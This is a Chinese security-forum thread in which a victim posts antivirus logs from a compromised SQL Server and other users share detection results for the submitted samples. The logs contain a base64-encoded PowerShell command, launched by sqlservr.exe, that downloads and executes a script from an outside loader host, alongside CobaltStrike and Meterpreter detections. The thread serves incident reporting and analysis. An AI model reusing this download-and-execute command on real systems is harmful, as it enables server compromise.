数据库服务器病毒 8X

LovelyTim

公司托管在华为云的服务器中了两次一样的毒，
两次火绒都提示已拦截或阻止，
但数据库还是被改密码和增加用户了，
怕被拖库（虽然很大可能已经被拖了），准备换KES试试看。
密码 infected

LovelyTim

火绒工程师 发表于 2022-6-7 10:59
收到，我们确认下哈

顺便把日志文件也放上来
因为是两次一样的病毒
就只放最新记录

1. 【2】2022-06-06 16:00:15,系统防护,应用加固,sqlservr.exe触犯应用加固规则, 已阻止
   
2. 
   
3. 防护项目：数据库
   
4. 操作目标：【执行】 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
   
5. 操作目标参数：C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe/c  -e SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQAUwB0AHIAaQBuAGcAKAAnAGgAdAB0AHAAOgAvAC8AbQBzAHMAcQBsAC4AbABvAGEAZABlAHIAMAAxADEAOAAuAHgAeQB6ADoAMQA0ADMAMwAvAG0AcwBzAHEAbAA3AC4AdAB4AHQAJwApADsA
   
6. 操作结果：已阻止
   
7. 
   
8. 保护进程路径：D:\Program Files (x86)\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Binn\sqlservr.exe
   
9. 保护进程命令行："D:\Program Files (x86)\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Binn\sqlservr.exe" -sMSSQLSERVER
   
10. >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    
11. 
    
12. 【3】2022-06-06 15:59:28,病毒防护,文件实时监控,发现病毒Backdoor/CobaltStrike.l, 已处理
    
13. 
    
14. 病毒名称：Backdoor/CobaltStrike.l
    
15. 病毒ID：976F2654168CFB4F
    
16. 病毒路径：C:\Windows\Temp\TmpA0C0.tmp
    
17. 操作类型：修改
    
18. 操作结果：已处理
    
19. 
    
20. 进程ID：1760
    
21. 操作进程：D:\Program Files (x86)\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Binn\sqlservr.exe
    
22. 操作进程命令行："D:\Program Files (x86)\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Binn\sqlservr.exe" -sMSSQLSERVER
    
23. 父进程：C:\Windows\System32\services.exe
    
24. >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    
25. 
    
26. 【4】2022-06-06 15:59:07,病毒防护,文件实时监控,发现病毒Backdoor/CobaltStrike.l, 已处理
    
27. 
    
28. 病毒名称：Backdoor/CobaltStrike.l
    
29. 病毒ID：976F2654168CFB4F
    
30. 病毒路径：C:\Windows\Temp\Tmp5157.tmp
    
31. 操作类型：修改
    
32. 操作结果：已处理
    
33. 
    
34. 进程ID：1760
    
35. 操作进程：D:\Program Files (x86)\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Binn\sqlservr.exe
    
36. 操作进程命令行："D:\Program Files (x86)\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Binn\sqlservr.exe" -sMSSQLSERVER
    
37. 父进程：C:\Windows\System32\services.exe
    
38. >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    
39. 
    
40. 【5】2022-06-06 15:58:50,病毒防护,文件实时监控,发现病毒Backdoor/Meterpreter.ak, 已处理
    
41. 
    
42. 病毒名称：Backdoor/Meterpreter.ak
    
43. 病毒ID：A00D08EFDA1AA78C
    
44. 病毒路径：C:\Windows\Temp\TmpD48.tmp
    
45. 操作类型：修改
    
46. 操作结果：已处理
    
47. 
    
48. 进程ID：1760
    
49. 操作进程：D:\Program Files (x86)\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Binn\sqlservr.exe
    
50. 操作进程命令行："D:\Program Files (x86)\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Binn\sqlservr.exe" -sMSSQLSERVER
    
51. 父进程：C:\Windows\System32\services.exe
    
52. >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
    
53. 
    
54. 【6】2022-06-06 15:58:46,病毒防护,文件实时监控,发现病毒Backdoor/Meterpreter.ak, 已处理
    
55. 
    
56. 病毒名称：Backdoor/Meterpreter.ak
    
57. 病毒ID：A00D08EFDA1AA78C
    
58. 病毒路径：C:\Windows\Temp\TmpFB07.tmp
    
59. 操作类型：修改
    
60. 操作结果：已处理
    
61. 
    
62. 进程ID：1760
    
63. 操作进程：D:\Program Files (x86)\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Binn\sqlservr.exe
    
64. 操作进程命令行："D:\Program Files (x86)\Microsoft SQL Server\MSSQL10_50.MSSQLSERVER\MSSQL\Binn\sqlservr.exe" -sMSSQLSERVER
    
65. 父进程：C:\Windows\System32\services.exe
    
66. >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

复制代码

开开心心卖手机

SEP kill all

LovelyTim

开开心心卖手机 发表于 2022-6-7 10:22
SEP kill all

火绒也提示处理了，但数据库密码和用户还是被改了

Shake2333

panda kill all

kuroandsan

Avira all

开开心心卖手机

LovelyTim 发表于 2022-6-7 10:24
火绒也提示处理了，但数据库密码和用户还是被改了

尴尬，建议换个重武器上去

红豆有绿豆

卡巴kill all

LovelyTim

开开心心卖手机 发表于 2022-6-7 10:26
尴尬，建议换个重武器上去

午休再装，现在社畜中

aboringman

1. 2022-06-07 10:27:48     感染型病毒(Win32/HackTool.Meterpreter.HgkASrkA)MD5:b41633dc589b37d7894240f5c48ef332已删除此文件，如果您发现误删，可从隔离区恢复此文件。        d:\360极速浏览器x下载\infected\tmpd48.tmp
   
2. 2022-06-07 10:27:48     感染型病毒(Win32/HackTool.Meterpreter.HgkASrkA)MD5:b41633dc589b37d7894240f5c48ef332已删除此文件，如果您发现误删，可从隔离区恢复此文件。        d:\360极速浏览器x下载\infected\tmpfb07.tmp
   
3. 2022-06-07 10:27:47     感染型病毒(Win32/HackTool.Meterpreter.HgkASrkA)MD5:b41633dc589b37d7894240f5c48ef332已删除此文件，如果您发现误删，可从隔离区恢复此文件。        d:\360极速浏览器x下载\infected\tmp42a2.tmp
   
4. 2022-06-07 10:27:47     感染型病毒(Win32/Trojan.Swrort.HgkASqoA)MD5:77c9692543c3c370ae46f72718a11d4e已删除此文件，如果您发现误删，可从隔离区恢复此文件。        d:\360极速浏览器x下载\infected\tmp5157.tmp
   
5. 2022-06-07 10:27:47     感染型病毒(Win32/HackTool.Meterpreter.HgkASrkA)MD5:b41633dc589b37d7894240f5c48ef332已删除此文件，如果您发现误删，可从隔离区恢复此文件。        d:\360极速浏览器x下载\infected\tmp55ae.tmp
   
6. 2022-06-07 10:27:47     感染型病毒(Win32/Trojan.Swrort.HgkASqoA)MD5:77c9692543c3c370ae46f72718a11d4e已删除此文件，如果您发现误删，可从隔离区恢复此文件。        d:\360极速浏览器x下载\infected\tmpa0c0.tmp
   
7. 2022-06-07 10:27:47     感染型病毒(Win32/Trojan.Swrort.HgkASqoA)MD5:77c9692543c3c370ae46f72718a11d4e已删除此文件，如果您发现误删，可从隔离区恢复此文件。        d:\360极速浏览器x下载\infected\tmpb9d8.tmp
   
8. 2022-06-07 10:27:47     感染型病毒(Win32/Trojan.Swrort.HgkASqoA)MD5:77c9692543c3c370ae46f72718a11d4e已删除此文件，如果您发现误删，可从隔离区恢复此文件。        d:\360极速浏览器x下载\infected\tmpc3f.tmp

复制代码

LovelyTim

aboringman 发表于 2022-6-7 10:28

杀软是？